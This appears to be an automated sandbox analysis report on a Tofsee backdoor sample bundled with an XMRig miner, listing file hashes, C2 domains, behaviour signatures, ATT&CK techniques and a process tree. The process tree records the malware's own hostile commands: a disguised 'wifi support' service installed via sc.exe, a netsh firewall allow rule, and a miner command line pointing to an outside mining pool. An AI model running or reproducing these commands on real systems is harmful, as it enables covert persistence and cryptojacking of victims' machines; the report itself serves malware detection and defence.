Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    19-04-2023 02:04

General

  • Target

    45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe

  • Size

    213KB

  • MD5

    bedb55ac5c140a2a596d9fcbd822e5a6

  • SHA1

    cbd6195cb310f5e29c199c01180a424340266b80

  • SHA256

    45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07

  • SHA512

    be312de3dbf98fc18fabc2970ef13c14d291ed528b502f7937b2efd4491b2df5075ae31f878085af67c679099ebebefa9ea38ef086b4d7c4292a93e5c841d798

  • SSDEEP

    3072:QLw69nh47SsG97WGBbZrV8O38yLTMaOGpID5++qI7iMP:Ah47fKL58qjvMaH/k7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe
    "C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qcaoaizh\
      2⤵
        PID:1820
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bqipusxp.exe" C:\Windows\SysWOW64\qcaoaizh\
        2⤵
          PID:1648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qcaoaizh binPath= "C:\Windows\SysWOW64\qcaoaizh\bqipusxp.exe /d\"C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qcaoaizh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qcaoaizh
          2⤵
          • Launches sc.exe
          PID:1932
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1536
      • C:\Windows\SysWOW64\qcaoaizh\bqipusxp.exe
        C:\Windows\SysWOW64\qcaoaizh\bqipusxp.exe /d"C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:580

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\bqipusxp.exe
        Filesize

        12.8MB

        MD5

        c031a4a82231ea32f476caf8fff6e943

        SHA1

        010d53b7d468140dea89918500e0240fc29bbeb9

        SHA256

        69571999264ad00aab0cf5da1f3f2a667047a92e824708e09b30a756e8d6a600

        SHA512

        8849c84cd23abc362030cad045c7bd7ecafb392c09d1288ddf2ece49b1e9bf6c1466fb54c9c611c90a5a6af04268524823c031c15bbbd81f35a8127de94e8be5

      • C:\Windows\SysWOW64\qcaoaizh\bqipusxp.exe
        Filesize

        12.8MB

        MD5

        c031a4a82231ea32f476caf8fff6e943

        SHA1

        010d53b7d468140dea89918500e0240fc29bbeb9

        SHA256

        69571999264ad00aab0cf5da1f3f2a667047a92e824708e09b30a756e8d6a600

        SHA512

        8849c84cd23abc362030cad045c7bd7ecafb392c09d1288ddf2ece49b1e9bf6c1466fb54c9c611c90a5a6af04268524823c031c15bbbd81f35a8127de94e8be5

      • memory/580-111-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-124-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-123-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-122-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-121-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-120-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-119-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/580-112-0x00000000001D0000-0x00000000002C1000-memory.dmp
        Filesize

        964KB

      • memory/1600-66-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/1744-94-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-85-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-75-0x0000000000110000-0x0000000000116000-memory.dmp
        Filesize

        24KB

      • memory/1744-78-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-83-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-89-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-92-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-95-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-97-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-96-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1744-93-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-91-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-90-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-88-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-87-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-74-0x00000000018F0000-0x0000000001AFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1744-84-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-82-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-81-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/1744-98-0x0000000000250000-0x0000000000255000-memory.dmp
        Filesize

        20KB

      • memory/1744-101-0x0000000000250000-0x0000000000255000-memory.dmp
        Filesize

        20KB

      • memory/1744-102-0x00000000056B0000-0x0000000005ABB000-memory.dmp
        Filesize

        4.0MB

      • memory/1744-105-0x00000000056B0000-0x0000000005ABB000-memory.dmp
        Filesize

        4.0MB

      • memory/1744-106-0x0000000000260000-0x0000000000267000-memory.dmp
        Filesize

        28KB

      • memory/1744-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1744-71-0x00000000018F0000-0x0000000001AFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1744-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1744-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1744-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1744-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1744-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2028-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/2028-60-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB